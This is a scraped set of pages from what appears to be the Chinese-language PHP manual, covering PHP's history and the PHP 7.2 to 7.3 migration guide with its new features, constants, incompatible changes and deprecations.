  • 从PHP 7.0.x 移植到 PHP 7.1.x
    • 新特性
    • 新的函数
    • 新增的全局常量
    • 不向后兼容的变更
    • PHP 7.1.x 中废弃的特性
    • 变动的函数
    • Other changes
    • Windows支持
  • 从PHP 5.6.x 移植到 PHP 7.0.x
    • 不向后兼容的变更
    • 新特性
    • PHP 7.0.x 弃用的功能
    • 变更的函数
    • 新函数
    • 新的类和接口
    • 新的全局常量
    • SAPI 模块的变化
    • 移除的扩展和 SAPI
    • Other Changes
  • 从PHP 5.5.x 移植到 PHP 5.6.x
    • 向后不兼容
    • 新特性
    • PHP 5.6.x 中已废止的特性
    • 函数的变化
    • 新加函数
    • OpenSSL changes in PHP 5.6.x
    • 扩展中的变动
    • 新加的全局常量
  • 从 PHP 5.4.x 迁移到 PHP 5.5.x
    • PHP 5.5.x 中的变更
    • 不向后兼容的变更
    • 新的特性
    • PHP 5.5.x 中废弃的特性
    • 变更的函数
    • 新的函数
    • 新的类和接口
    • 新的方法
    • 扩展中的其他变更
    • 新的全局常量
    • INI 文件处理的变化
    • PHP 内部的变化
  • 从 PHP 5.3.X 迁移到 PHP 5.4.X
    • PHP 5.4.x 中的变更
    • 不向后兼容的变更
    • 新特性
    • SAPI 模块中的变化
    • 在 PHP 5.4.x 中过时的特性
    • 变更的函数
    • 新的函数
    • 新的类和接口
    • 新的方法
    • 移除的扩展
    • 扩展中的其他变化
    • 新的全局常量
    • INI 文件处理的变化
    • 其他变化
  • 从 PHP 5.2.x 移植到 PHP 5.3.x
    • PHP 5.3.x 的变化
    • 不向下兼容的变化
    • 新特性
    • Windows 支持改变
    • SAPI 模块的改变
    • PHP 5.3.x 中弃用的功能
    • PHP 5.3.x 保留的功能
    • 新参数
    • 新函数
    • 新的流包装器
    • 新的流过滤器
    • 新增的类常量
    • 新增的方法
    • 新的扩展
    • 被移除的扩展
    • Other changes to extensions
    • 新类
    • 新的全局常量
    • INI 文件处理改变
    • 其他改变
  • Migrating from PHP 5.1.x to PHP 5.2.x
    • What has changed in PHP 5.2.x
    • Backward Incompatible Changes
    • New Error Messages
    • Changes in PHP datetime support
    • New Parameters
    • New Functions
    • New Methods
    • Removed Extensions
    • New Extensions
    • New Classes
    • New Global Constants
    • New Class Constants
    • New INI Configuration Directives
    • Error Reporting
    • Other Enhancements
  • Migrating from PHP 5.0.x to PHP 5.1.x
    • Key PHP 5.1.x features
    • Changes in reference handling
    • Reading []
    • Integer values in function parameters
    • Class and object changes
    • Extensions
    • Date/time support
    • Changes in database support
    • Checking for E_STRICT
  • 从 PHP 4 移植到 PHP 5
    • PHP 5 中有哪些改变
    • 未向下兼容的改变
    • CLI 和 CGI
    • 移植配置文件
    • 新函数
    • 新指令
    • 数据库
    • 新对象模型
    • 错误报告
  • PHP 的调试
    • 关于调试器
  • 配置选项
    • 核心配置选项列表
  • php.ini 配置
    • php.ini 配置选项列表
    • php.ini 配置段列表
    • php.ini 核心配置选项说明
  • 扩展库列表／归类
    • 按字母顺序
    • 按归属分
    • 按状态分
  • 函数别名列表
  • 保留字列表
    • 关键词列表
    • 预定义类
    • 预定义常量
    • 其他保留字列表
  • 资源类型列表
  • 可用过滤器列表
    • 字符串过滤器
    • 转换过滤器
    • 压缩过滤器
    • 加密过滤器
  • 所支持的套接字传输器（Socket Transports）列表
    • Internet 领域：TCP，UDP，SSL 和 TLS
    • Unix 领域：Unix 和 UDG
  • PHP 类型比较表
  • 解析器代号列表
  • 用户空间命名指南
    • 全局命名空间
    • 规则
    • 提示
  • 关于本手册
    • 手册的格式
    • 关于用户注释
    • 如何阅读函数的定义（函数原型）
    • 本手册中所涉及的 PHP 版本
    • 如何得到关于 PHP 更多的信息
    • 如何帮助改进本文档
    • 如何生成手册的各种格式
    • 手册译文
  • Creative Commons Attribution 3.0
  • 索引
    • 函数和方法列表
    • 示例列表
  • 更新日志

User Contributed Notes

There are no user contributed notes for this page.


PHP 及其相关工程的历史

Table of Contents

  • PHP 的历史
  • PHP 相关工程的历史
  • PHP 相关书籍
  • PHP 相关文章

PHP 在过去的几年里走过了漫长的道路。成长为处理 web 的最卓越的语言并非易事。如果对 PHP 如何发展到今天很感兴趣，那么请继续读下去吧。以前的 PHP 发行版可以在 » PHP 博物馆找到。

User Contributed Notes

tarlepp 21-Jul-2017 12:01
It seems like PHP7 is missing here totally, also some comment about why skip PHP6 version would be nice.


PHP 的历史

PHP/FI

PHP 继承自一个老的工程，名叫 PHP/FI。PHP/FI 在 1995 年由 Rasmus Lerdorf 创建，最初只是一套简单的 Perl 脚本，用来跟踪访问他主页的人们的信息。它给这一套脚本取名为"Personal Home Page Tools"。随着更多功能需求的增加，Rasmus 写了一个更大的 C 语言的实现，它可以访问数据库，可以让用户开发简单的动态 Web 程序。Rasmus » 发布了 PHP/FI 的源代码，以便每个人都可以使用它，同时大家也可以修正它的 Bug 并且改进它的源代码。

PHP/FI，一个专为个人主页／表单提供解释程序的程序，已经包含了今天 PHP 的一些基本功能。它有着 Perl 样式的变量，自动解释表单变量，并可以嵌入 HTML。语法本身与 Perl 很相似，但是它很有限，很简单，还稍微有些不协调。

到1997年，PHP/FI 2.0，也就是它的 C 语言实现的第二版在全世界已经有几千个用户（估计）和大约 50,000 个域名安装，大约是 Internet 所有域名的 1%。但是那时只有几个人在为该工程撰写少量当代码，它仍然只是一个人的工程。

PHP/FI 2.0 在经历了数个 beta 版本的发布后于 1997 年 11 月发布了官方正式版本。不久，PHP 3.0 的第一个 alpha 版本的发布，PHP 从此走向了成功。

PHP 3

PHP 3.0 是类似于当今 PHP 语法结构的第一个版本。Andi Gutmans 和 Zeev Suraski 在为一所大学的项目中开发电子商务程序时发现 PHP/FI 2.0 功能明显不足，于是他们重写了代码。这就是 PHP 3.0。经过Andi，Rasmus 和 Zeev 一系列的努力，考虑到 PHP/FI 已存在的用户群，他们决定联合发布 PHP 3.0 作为 PHP/FI 2.0 的官方后继版本。而 PHP/FI 2.0 的进一步开发几乎终止了。

PHP 3.0 的一个最强大的功能是它的可扩展性。除了给最终用户提供数据库、协议和 API 的基础结构，它的可扩展性还吸引了大量的开发人员加入并提交新的模块。后来证实，这是 PHP 3.0 取得巨大成功的关键。PHP 3.0 中的其它关键功能包括面向对象的支持和更强大和协调的语法结构。

这个全新的语言伴随着一个新的名称发布。它从 PHP/FI 2.0 的名称中移去了暗含"本语言只限于个人使用"的部分。它被命名为简单的缩写"PHP"。这是一种递归的缩写，它的全称是——PHP: Hypertext Preprocessor。

1998 年末，PHP 的安装人数几近 10,000，有大约 100,000 个网站报告他们使用了 PHP。在 PHP 3.0 的顶峰，Internet 上 10% 的 web 服务器上都安装了它。

约九个月的公开测试后，官方于 1998 年 6 月正式发布 PHP 3.0。

PHP 4

1998 年的冬天，PHP 3.0 官方发布不久，Andi Gutmans 和 Zeev Suraski 开始重新编写 PHP 代码。设计目标是增强复杂程序运行时的性能和 PHP 自身代码的模块性。PHP 3.0 的新功能和广泛的第三方数据库、API的支持使得这样程序的编写成为可能，但是 PHP 3.0 没有高效处理如此复杂程序的能力。

新的被称为"Zend Engine"（这是 Zeev 和 Andi 的缩写）的引擎，成功的实现了设计目标，并在 1999 年中期首次引入 PHP。基于该引擎并结合了更多新功能的 PHP 4.0，在 PHP 3.0 发布两年后，于2000年5月发布了官方正式版本。除了更高的性能以外，PHP 4.0 还包含了其它一些关键功能，比如：支持更多的 web 服务器；HTTP Sessions 支持；输出缓冲；更安全的处理用户输入的方法；一些新的语言结构。

今天，已经有 10,000 名开发人员（估计）和几百万网站报告已安装了 PHP，占整个 Internet 域名的 20%。

PHP 的开发小组有很多优秀的开发人员，同时还有大量的优秀人才在进行 PHP 相关工程的开发工作，如 PEAR 和 PHP 文档的工程。

PHP 5

PHP 5 在长时间的开发及多个预发布版本后，于 2004 年 7 月发布正式版本。它的核心是 Zend 引擎 2 代，引入了新的对象模型和大量新功能。

User Contributed Notes

There are no user contributed notes for this page.


PHP 相关工程的历史

PEAR

» PEAR，PHP 扩展与应用资源库（PHP Extension and Application Repository，原为 PHP Extension and Add-on Repository）是 PHP 程序的基础类，并可能在将来增强为在开发人员间分发 PHP 和 C 语言编写的 PHP 扩展的关键方法。

PEAR 在 2000 年 1 月于 Tel Aviv 举行的 PHP 开发者会议（PDM）中诞生。这个工程由 Stig S. Bakken 创建。现在，他正专注于他的第一个小女儿，Malin Bakken。

2000 年早些时候，PEAR 已经成长为一个巨大的，有意义的工程。大量的开发人员在为实现普通的、可重用的、功能强大的代码而努力工作着。这给整个 PHP 团体都带来极大的益处。今天 PEAR 包含了大量的基础类，包括数据库访问、内容缓存、数学计算、电子商务等等。

有关 PEAR 的更多信息见其» 手册。

PHP 质量保证体系（QA）

» PHP 质量保证体系于2000年夏设立，因为用户批评 PHP 在发布前没有进行足够的针对产品环境的测试。质量保证小组由精通 PHP 基础代码的核心人员组成。这些开发人员将精力花费在本地化和修复 PHP 的 bug 上。除此之外，其他小组成员也在各种不同的平台上对这些修复进行测试并提供反馈信息。

PHP-GTK

» PHP-GTK 是编写客户端图形用户界面（GUI）程序的 PHP 解决方案。Andrei Zmievski 回忆了 PHP-GTK 计划和创建的过程：

"我总是对 GUI 编程有着浓厚的兴趣。我发现 Gtk+ 是一个非常好的工具包，除了一点——它使用的 C 语言很令人乏味。目睹了 PyGtk 和 GTK-Perl 的实现，我决定尝试 PHP 是否也能够被做成 Gtk+ 的接口。2000 年 8 月，我有了更多的业余时间，于是我开始试验。我参考了 PyGtk 的实现方法，因为它有着相当完全的实现和漂亮的面向对象的接口。James Henstridge，PyG 的作者，在最初的筹备阶段提供了极大的帮助。

"手工写 Gtk+ 函数全部的接口几乎是不可能的事情，所以我把重点放在了代码生成上，就像 PyGtk 做的一样。代码生成器是一个PHP 程序，它可以读取包含 Gtk+ 类、常量和方法信息的一系列的 .defs 文件并生成与 PHP 相接口的 C 代码。无法自动生成的部分可以提交到 .overrides 文件。

"代码生成器和基础结构的工作花了我一定的时间，因为我在 2000 年秋天这段时间里只能花很少的时间在 PHP-GTK 上。在我把 PHP-GTK 给 Frank Kromann 演示过后，他产生了浓厚的兴趣，并开始帮助我完成代码生成器和 Win32 的实现。当我们写了第一个 Hello World 程序并设法使之工作之时，我们的喜悦之情溢于言表。两个多月后，这个工程初见成效，并于 2001 年 3 月 1 日发布了内部版本。这个故事迅速的打击了 SlashDot。

"感到 PHP-GTK 前景广阔，我便为它专门设置了邮件列表和 CVS 知识库。同时，gtk.php.net 网站也在 Colin Viebrock 的帮助下建立起来。文档的工作也由 James Moore 承担起来。

"PHP-GTK 发布之后，它愈加流行。我们有自己的文档小组，手册持续更新。人们开始为 PHP-GTK 编写扩展。越来越多的程序已经开始使用它了。"

User Contributed Notes

There are no user contributed notes for this page.


PHP 相关书籍

随着 PHP 的成长，人们越来越认识到它是一个世界流行的开发平台。看到这种趋势的最有趣方法之一就是：这些年 PHP 相关书籍越来越多。

据我们所知，最早的 PHP 专业书籍是"php- dynamische webauftritte professionell realisieren"——一本 1999 年出版的德国书籍，作者是 Egon Schmid、Christian Cartus 和 Richard Blume。第一本关于 PHP 的英文书随后出版，书名是"Core PHP Programming"，作者为：Leon Atkinson。这两本书都是写 PHP 3.0 的。

这两本书是这类图书的第一本——随后，大量的 PHP 相关图书上市。英文版本超过 40 种，德文 50 种，法文 20 种！除此之外，你可以发现西班牙文、韩文、日文、中文和希伯来文等等语言版本的 PHP 相关图书。

这么大量的图书，这么多作者的写作，这么多出版商的出版，并出现了这么多语言的版本——这强烈的证明 PHP 在世界范围内的成功！

User Contributed Notes

There are no user contributed notes for this page.


PHP 相关文章

据我们所知，关于 PHP 的在杂志上的第一篇文章于 1998 年末在法国的"Informatiques Magazine"杂志上发表，是描述 PHP 3.0 的。据记载，这是大量出版在杂志上 PHP 相关文章的第一篇。

关于 PHP 的文章出现在 Dr. Dobbs、Linux Enterprise、Linux Magazine 等等出版物上。关于在 Windows 下如何转换 ASP 程序到 PHP 的文章甚至出现在了微软自己的 MSDN 上！

User Contributed Notes

There are no user contributed notes for this page.


从 PHP 7.2.x 移植到 PHP 7.3.x

Table of Contents

  • New Features
  • 新函数
  • 新的全局常量
  • Backward Incompatible Changes
  • PHP 7.3.x 中废弃的功能
  • Other Changes
  • Windows Support

这个新的小版本带来了大量的 新特性和 少量的兼容性调整 在生产环境切换 PHP 版本前应该进行相关测试。

参见 PHP 版本迁移指南 5.0.x, 5.1.x, 5.2.x, 5.3.x, 5.4.x, 5.5.x, 5.6.x, 7.0.x, 7.1.x and 7.2.x.

User Contributed Notes

There are no user contributed notes for this page.


New Features

PHP Core

More Flexible Heredoc and Nowdoc Syntax

The closing marker for doc strings is no longer required to be followed by a semicolon or newline. Additionally the closing marker may be indented, in which case the indentation will be stripped from all lines in the doc string.

Array Destructuring supports Reference Assignments

Array destructuring now supports reference assignments using the syntax [&$a, [$b, &$c]] = $d. The same is also supported for list().

Instanceof Operator accepts Literals

instanceof now allows literals as the first operand, in which case the result is always FALSE.

CompileError Exception instead of some Compilation Errors

A new CompileError exception has been added, from which ParseError inherits. A small number of compilation errors will now throw a CompileError instead of generating a fatal error. Currently this only affects compilation errors that may be thrown by token_get_all() in TOKEN_PARSE mode, but more errors may be converted in the future.

Trailing Commas are allowed in Calls

Trailing commas in function and method calls are now allowed.

Argon2id Support

The --with-password-argon2[=dir] configure argument now provides support for both Argon2i and Argon2id hashes in the password_hash(), password_verify(), password_get_info(), and password_needs_rehash() functions. Passwords may be hashed and verified using the PASSWORD_ARGON2ID constant. Support for both Argon2i and Argon2id in the password_*() functions now requires PHP be linked against libargon2 reference library ≥ 20161029.

FastCGI Process Manager

New options have been added to customize the FPM logging:

log_limit
This global option can be used for setting the log limit for the logged line which allows to log messages longer than 1024 characters without wrapping. It also fixes various wrapping issues.
log_buffering
This global option allows an experimental logging without extra buffering.
decorate_workers_output
This pool option allows to disable the output decoration for workers output when catch_workers_output is enabled.

BC Math Functions

bcscale() can now also be used as getter to retrieve the current scale in use.

Lightweight Directory Access Protocol

Full support for LDAP Controls has been added to the LDAP querying functions and ldap_parse_result():

  • A $serverctrls parameter to send controls to the
server in ldap_add(),
ldap_mod_replace(), ldap_mod_add(),
ldap_mod_del(), ldap_rename(),
ldap_compare(), ldap_delete(),
ldap_modify_batch(),
ldap_search(), ldap_list() and
ldap_read() has been added.
  • The out parameter $serverctrls to get controls from the server in ldap_parse_result() has been added.
  • Support for LDAP_OPT_SERVER_CONTROLS and LDAP_OPT_CLIENT_CONTROLS in ldap_get_option() and ldap_set_option() has been fixed.

Multibyte String Functions

Full Case-Mapping and Case-Folding Support

Support for full case-mapping and case-folding has been added. Unlike simple case-mapping, full case-mapping may change the length of the string. For example:

<?php
mb_strtoupper("Stra?e");
// Produces STRA?E on PHP 7.2
// Produces STRASSE on PHP 7.3
?>
The different casing mapping and folding modes are available through mb_convert_case():
  • MB_CASE_LOWER (used by mb_strtolower())
  • MB_CASE_UPPER (used by mb_strtoupper())
  • MB_CASE_TITLE
  • MB_CASE_FOLD
  • MB_CASE_LOWER_SIMPLE
  • MB_CASE_UPPER_SIMPLE
  • MB_CASE_TITLE_SIMPLE
  • MB_CASE_FOLD_SIMPLE (used by case-insensitive operations)
Only unconditional, language agnostic full case-mapping is performed.

Case-Insensitive String Operations use Case-Folding

Case-insensitive string operations now use case-folding instead of case- mapping during comparisons. This means that more characters will be considered (case insensitively) equal now.

MB_CASE_TITLE performs Title-Case Conversion

mb_convert_case() with MB_CASE_TITLE now performs title-case conversion based on the Cased and CaseIgnorable derived Unicode properties. In particular this also improves handling of quotes and apostrophes.

Unicode 11 Support

The Multibyte String data tables have been updated for Unicode 11.

Long String Support

The Multibyte String Functions now correctly support strings larger than 2GB.

Performance Improvements

Performance of the Multibyte String extension has been significantly improved across the board. The largest improvements are in case conversion functions.

Named Captures Support

The mb_ereg_* functions now support named captures. Matching functions like mb_ereg() will now return named captures both using their group number and their name, similar to PCRE:

<?php
mb_ereg('(?<word>\w+)', '国', $matches);
// => [0 => "国", 1 => "国", "word" => "国"];
?>
Additionally, mb_ereg_replace() now supports the \k<> and \k'' notations to reference named captures in the replacement string:
<?php
mb_ereg_replace('\s*(?<word>\w+)\s*', "_\k<word>_\k'word'_", ' foo ');
// => "_foo_foo_"
?>
\k<> and \k'' can also be used for numbered references, which also works with group numbers greater than 9.

Readline

Support for the completion_append_character and completion_suppress_append options has been added to readline_info(). These options are only available if PHP is linked against libreadline (rather than libedit).

User Contributed Notes

yoander dot valdes at yahoo dot com 31-May-2019 11:34
"Trailing commas in function and method calls are now allowed" means function parameters, example:

<?php

function my1() {
        echo "xxxxxx\n";
}

function my2() {
        echo "yyyyyy\n";
}

my1(),my2(); // PHP Parse error:  syntax error

my1(,); // PHP Parse error:  syntax error

my1(1,); my2(2,); // OK

?>


新函数

PHP 内核

  • array_key_first()
  • array_key_last()
  • gc_status()
  • hrtime()
  • is_countable()
  • net_get_interfaces()

FastCGI 进程管理器

  • fpm_get_status()

Date and Time

  • DateTime::createFromImmutable()

GNU Multiple Precision

  • gmp_binomial()
  • gmp_kronecker()
  • gmp_lcm()
  • gmp_perfect_power()

国际化相关函数

  • Normalizer::getRawDecomposition()
  • normalizer_get_raw_decomposition()
  • Spoofchecker::setRestrictionLevel()

Lightweight Directory Access Protocol

  • ldap_add_ext()
  • ldap_bind_ext()
  • ldap_delete_ext()
  • ldap_exop_refresh()
  • ldap_mod_add_ext()
  • ldap_mod_replace_ext()
  • ldap_mod_del_ext()
  • ldap_rename_ext()

OpenSSL

  • openssl_pkey_derive()

Sockets

  • socket_wsaprotocol_info_export()
  • socket_wsaprotocol_info_import()
  • socket_wsaprotocol_info_release()

User Contributed Notes

There are no user contributed notes for this page.


新的全局常量

PHP 核心中预定义的常量

  • PASSWORD_ARGON2ID

Client URL Library

  • CURLAUTH_BEARER
  • CURLAUTH_GSSAPI
  • CURLE_WEIRD_SERVER_REPLY
  • CURLINFO_APPCONNECT_TIME_T
  • CURLINFO_CONNECT_TIME_T
  • CURLINFO_CONTENT_LENGTH_DOWNLOAD_T
  • CURLINFO_CONTENT_LENGTH_UPLOAD_T
  • CURLINFO_FILETIME_T
  • CURLINFO_HTTP_VERSION
  • CURLINFO_NAMELOOKUP_TIME_T
  • CURLINFO_PRETRANSFER_TIME_T
  • CURLINFO_PROTOCOL
  • CURLINFO_PROXY_SSL_VERIFYRESULT
  • CURLINFO_REDIRECT_TIME_T
  • CURLINFO_SCHEME
  • CURLINFO_SIZE_DOWNLOAD_T
  • CURLINFO_SIZE_UPLOAD_T
  • CURLINFO_SPEED_DOWNLOAD_T
  • CURLINFO_SPEED_UPLOAD_T
  • CURLINFO_STARTTRANSFER_TIME_T
  • CURLINFO_TOTAL_TIME_T
  • CURL_LOCK_DATA_CONNECT
  • CURL_LOCK_DATA_PSL
  • CURL_MAX_READ_SIZE
  • CURLOPT_ABSTRACT_UNIX_SOCKET
  • CURLOPT_DISALLOW_USERNAME_IN_URL
  • CURLOPT_DNS_SHUFFLE_ADDRESSES
  • CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS
  • CURLOPT_HAPROXYPROTOCOL
  • CURLOPT_KEEP_SENDING_ON_ERROR
  • CURLOPT_PRE_PROXY
  • CURLOPT_PROXY_CAINFO
  • CURLOPT_PROXY_CAPATH
  • CURLOPT_PROXY_CRLFILE
  • CURLOPT_PROXY_KEYPASSWD
  • CURLOPT_PROXY_PINNEDPUBLICKEY
  • CURLOPT_PROXY_SSLCERT
  • CURLOPT_PROXY_SSLCERTTYPE
  • CURLOPT_PROXY_SSL_CIPHER_LIST
  • CURLOPT_PROXY_SSLKEY
  • CURLOPT_PROXY_SSLKEYTYPE
  • CURLOPT_PROXY_SSL_OPTIONS
  • CURLOPT_PROXY_SSL_VERIFYHOST
  • CURLOPT_PROXY_SSL_VERIFYPEER
  • CURLOPT_PROXY_SSLVERSION
  • CURLOPT_PROXY_TLS13_CIPHERS
  • CURLOPT_PROXY_TLSAUTH_PASSWORD
  • CURLOPT_PROXY_TLSAUTH_TYPE
  • CURLOPT_PROXY_TLSAUTH_USERNAME
  • CURLOPT_REQUEST_TARGET
  • CURLOPT_SOCKS5_AUTH
  • CURLOPT_SSH_COMPRESSION
  • CURLOPT_SUPPRESS_CONNECT_HEADERS
  • CURLOPT_TIMEVALUE_LARGE
  • CURLOPT_TLS13_CIPHERS
  • CURLPROXY_HTTPS
  • CURLSSH_AUTH_GSSAPI
  • CURL_SSLVERSION_MAX_DEFAULT
  • CURL_SSLVERSION_MAX_NONE
  • CURL_SSLVERSION_MAX_TLSv1_0
  • CURL_SSLVERSION_MAX_TLSv1_1
  • CURL_SSLVERSION_MAX_TLSv1_2
  • CURL_SSLVERSION_MAX_TLSv1_3
  • CURL_SSLVERSION_TLSv1_3
  • CURL_VERSION_ASYNCHDNS
  • CURL_VERSION_BROTLI
  • CURL_VERSION_CONV
  • CURL_VERSION_DEBUG
  • CURL_VERSION_GSSAPI
  • CURL_VERSION_GSSNEGOTIATE
  • CURL_VERSION_HTTPS_PROXY
  • CURL_VERSION_IDN
  • CURL_VERSION_LARGEFILE
  • CURL_VERSION_MULTI_SSL
  • CURL_VERSION_NTLM
  • CURL_VERSION_NTLM_WB
  • CURL_VERSION_SPNEGO
  • CURL_VERSION_SSPI
  • CURL_VERSION_TLSAUTH_SRP

Data Filtering

  • FILTER_SANITIZE_ADD_SLASHES

JavaScript Object Notation

  • JSON_THROW_ON_ERROR

Lightweight Directory Access Protocol

  • LDAP_CONTROL_ASSERT
  • LDAP_CONTROL_MANAGEDSAIT
  • LDAP_CONTROL_PROXY_AUTHZ
  • LDAP_CONTROL_SUBENTRIES
  • LDAP_CONTROL_VALUESRETURNFILTER
  • LDAP_CONTROL_PRE_READ
  • LDAP_CONTROL_POST_READ
  • LDAP_CONTROL_SORTREQUEST
  • LDAP_CONTROL_SORTRESPONSE
  • LDAP_CONTROL_PAGEDRESULTS
  • LDAP_CONTROL_AUTHZID_REQUEST
  • LDAP_CONTROL_AUTHZID_RESPONSE
  • LDAP_CONTROL_SYNC
  • LDAP_CONTROL_SYNC_STATE
  • LDAP_CONTROL_SYNC_DONE
  • LDAP_CONTROL_DONTUSECOPY
  • LDAP_CONTROL_PASSWORDPOLICYREQUEST
  • LDAP_CONTROL_PASSWORDPOLICYRESPONSE
  • LDAP_CONTROL_X_INCREMENTAL_VALUES
  • LDAP_CONTROL_X_DOMAIN_SCOPE
  • LDAP_CONTROL_X_PERMISSIVE_MODIFY
  • LDAP_CONTROL_X_SEARCH_OPTIONS
  • LDAP_CONTROL_X_TREE_DELETE
  • LDAP_CONTROL_X_EXTENDED_DN
  • LDAP_CONTROL_VLVREQUEST
  • LDAP_CONTROL_VLVRESPONSE

Multibyte String

  • MB_CASE_FOLD
  • MB_CASE_LOWER_SIMPLE
  • MB_CASE_UPPER_SIMPLE
  • MB_CASE_TITLE_SIMPLE
  • MB_CASE_FOLD_SIMPLE

OpenSSL

  • STREAM_CRYPTO_PROTO_SSLv3
  • STREAM_CRYPTO_PROTO_TLSv1_0
  • STREAM_CRYPTO_PROTO_TLSv1_1
  • STREAM_CRYPTO_PROTO_TLSv1_2

PostgreSQL

  • PGSQL_DIAG_SCHEMA_NAME
  • PGSQL_DIAG_TABLE_NAME
  • PGSQL_DIAG_COLUMN_NAME
  • PGSQL_DIAG_DATATYPE_NAME
  • PGSQL_DIAG_CONSTRAINT_NAME
  • PGSQL_DIAG_SEVERITY_NONLOCALIZED

User Contributed Notes

There are no user contributed notes for this page.


Backward Incompatible Changes

PHP Core

Heredoc/Nowdoc Ending Label Interpretation

Due to the introduction of flexible heredoc/nowdoc syntax, doc strings that contain the ending label inside their body may cause syntax errors or change in interpretation. For example in:

<?php
$str = <<<FOO
abcdefg
   FOO
FOO;
?>
the indented occurrence of FOO did not previously have any special meaning. Now it will be interpreted as the end of the heredoc string and the following FOO; will cause a syntax error. This issue can always be resolved by choosing an ending label that does not occur within the contents of the string.

Continue Targeting Switch issues Warning

continue statements targeting switch control flow structures will now generate a warning. In PHP such continue statements are equivalent to break, while they behave as continue 2 in other languages.

<?php
while ($foo) {
    switch ($bar) {
      case "baz":
         continue;
         // Warning: "continue" targeting switch is equivalent to
         //          "break". Did you mean to use "continue 2"?
   }
}
?>

Strict Interpretation of Integer String Keys on ArrayAccess

Array accesses of type $obj["123"], where $obj implements ArrayAccess and "123" is an integer string literal will no longer result in an implicit conversion to integer, i.e., $obj->offsetGet("123") will be called instead of $obj->offsetGet(123). This matches existing behavior for non-literals. The behavior of arrays is not affected in any way, they continue to implicitly convert integeral string keys to integers.

Static Properties no longer separated by Reference Assignment

In PHP, static properties are shared between inheriting classes, unless the static property is explicitly overridden in a child class. However, due to an implementation artifact it was possible to separate the static properties by assigning a reference. This loophole has been fixed.

<?php
class Test {
    public static $x = 0;
}
class Test2 extends Test { }

Test2::$x = &$x;
$x = 1;

var_dump(Test::$x, Test2::$x);
// Previously: int(0), int(1)
// Now:        int(1), int(1)
?>

References returned by Array and Property Accesses are immediately unwrapped

References returned by array and property accesses are now unwrapped as part of the access. This means that it is no longer possible to modify the reference between the access and the use of the accessed value:

<?php
$arr = [1];
$ref =& $arr[0];
var_dump($arr[0] + ($arr[0] = 2));
// Previously: int(4), Now: int(3)
?>
This makes the behavior of references and non-references consistent. Please note that reading and writing a value inside a single expression remains undefined behavior and may change again in the future.

Argument Unpacking of Traversables with non-Integer Keys no longer supported

Argument unpacking stopped working with Traversables with non-integer keys. The following code worked in PHP 5.6-7.2 by accident.

<?php
function foo(...$args) {
    var_dump($args);
}
function gen() {
    yield 1.23 => 123;
}
foo(...gen());
?>

Miscellaneous

The ext_skel utility has been completely redesigned with new options and some old options removed. This is now written in PHP and has no external dependencies.

Support for BeOS has been dropped.

Exceptions thrown due to automatic conversion of warnings into exceptions in EH_THROW mode (e.g. some DateTime exceptions) no longer populate error_get_last() state. As such, they now work the same way as manually thrown exceptions.

TypeError now reports wrong types as int and bool instead of integer and boolean, respectively.

Undefined variables passed to compact() will now be reported as a notice.

getimagesize() and related functions now report the mime type of BMP images as image/bmp instead of image/x-ms-bmp, since the former has been registered with the IANA (see » RFC 7903).

stream_socket_get_name() will now return IPv6 addresses wrapped in brackets. For example "[::1]:1337" will be returned instead of "::1:1337".

BCMath Arbitrary Precision Mathematics

All warnings thrown by BCMath functions are now using PHP's error handling. Formerly some warnings have directly been written to stderr.

bcmul() and bcpow() now return numbers with the requested scale. Formerly, the returned numbers may have omitted trailing decimal zeroes.

IMAP, POP3 and NNTP

rsh/ssh logins are disabled by default. Use imap.enable_insecure_rsh if you want to enable them. Note that the IMAP library does not filter mailbox names before passing them to the rsh/ssh command, thus passing untrusted data to this function with rsh/ssh enabled is insecure.

Multibyte String

Due to added support for named captures, mb_ereg_*() patterns using named captures will behave differently. In particular named captures will be part of matches and mb_ereg_replace() will interpret additional syntax. See Named Captures for more information.

MySQL Improved Extension

Prepared statements now properly report the fractional seconds for DATETIME, TIME and TIMESTAMP columns with decimals specifier (e.g. TIMESTAMP(6) when using microseconds). Formerly, the fractional seconds part was simply omitted from the returned values.

MySQL Functions (PDO_MYSQL)

Prepared statements now properly report the fractional seconds for DATETIME, TIME and TIMESTAMP columns with decimals specifier (e.g. TIMESTAMP(6) when using microseconds). Formerly, the fractional seconds part was simply omitted from the returned values. Please note that this only affects the usage of PDO_MYSQL with emulated prepares turned off (e.g. using the native preparation functionality). Statements using connections having PDO::ATTR_EMULATE_PREPARES=TRUE (which is the default) were not affected by the bug fixed and have already been getting the proper fractional seconds values from the engine.

Reflection

Reflection export to string now uses int and bool instead of integer and boolean, respectively.

Standard PHP Library (SPL)

If an SPL autoloader throws an exception, following autoloaders will not be executed. Previously all autoloaders were executed and exceptions were chained.

SimpleXML

Mathematic operations involving SimpleXML objects will now treat the text as an integer or float, whichever is more appropriate. Previously values were treated as integers unconditionally.

User Contributed Notes

There are no user contributed notes for this page.


PHP 7.3.x 中废弃的功能

PHP 核心中废弃的功能

大小写不敏感的常量

大小写不敏感的常量声明现已被废弃。将 TRUE 作为第三个参数传递给 define() 将会导致一个废弃警告。大小写不敏感的使用（在读取时使用一个与声明时不同的大小写方式）也已被废弃。

命名空间中的 assert()

废弃：在一个命名空间中声明一个名为 assert() 的函数。 assert() 函数属于引擎特殊处理的情况，当在命名空间中使用相同名字去定义 函数时也许会导致不一致的行为。

在字符串中搜索非字符串内容

废弃：将一个非字符串内容传递给字符串搜索函数。 在将来所有待搜索的内容都将被视为字符串，而不是 ASCII 编码值。如果需要依赖这个特性，你应该 要么显示地进行类型转换（转为字符串），或者显示地调用 chr()。 以下是受到影响的方法：

  • strpos()
  • strrpos()
  • stripos()
  • strripos()
  • strstr()
  • strchr()
  • strrchr()
  • stristr()

Strip-Tags Streaming

fgetss() 函数和 string.strip_tags stream filter 已经被废弃。这同样影响了 SplFileObject::fgetss() 方法和 gzgetss() 函数。

Data Filtering

对于 FILTER_FLAG_SCHEME_REQUIRED 和 FILTER_FLAG_HOST_REQUIRED 常量的显示使用已被废弃。 总之，FILTER_VALIDATE_URL 已经隐含了这两者。

图像处理和 GD 库

image2wbmp() 已被废弃。

国际化相关函数

如果 PHP 关联的ICU ≥ 56, 那么 Normalizer::NONE 形式的使用将会导致抛出一个废弃警告。

多字节字符串

以下在文档中不存在的 mbereg_*() 别名已被废弃。请使用相应的 mb_ereg_*() 变体替代。

  • mbregex_encoding()
  • mbereg()
  • mberegi()
  • mbereg_replace()
  • mberegi_replace()
  • mbsplit()
  • mbereg_match()
  • mbereg_search()
  • mbereg_search_pos()
  • mbereg_search_regs()
  • mbereg_search_init()
  • mbereg_search_getregs()
  • mbereg_search_getpos()
  • mbereg_search_setpos()

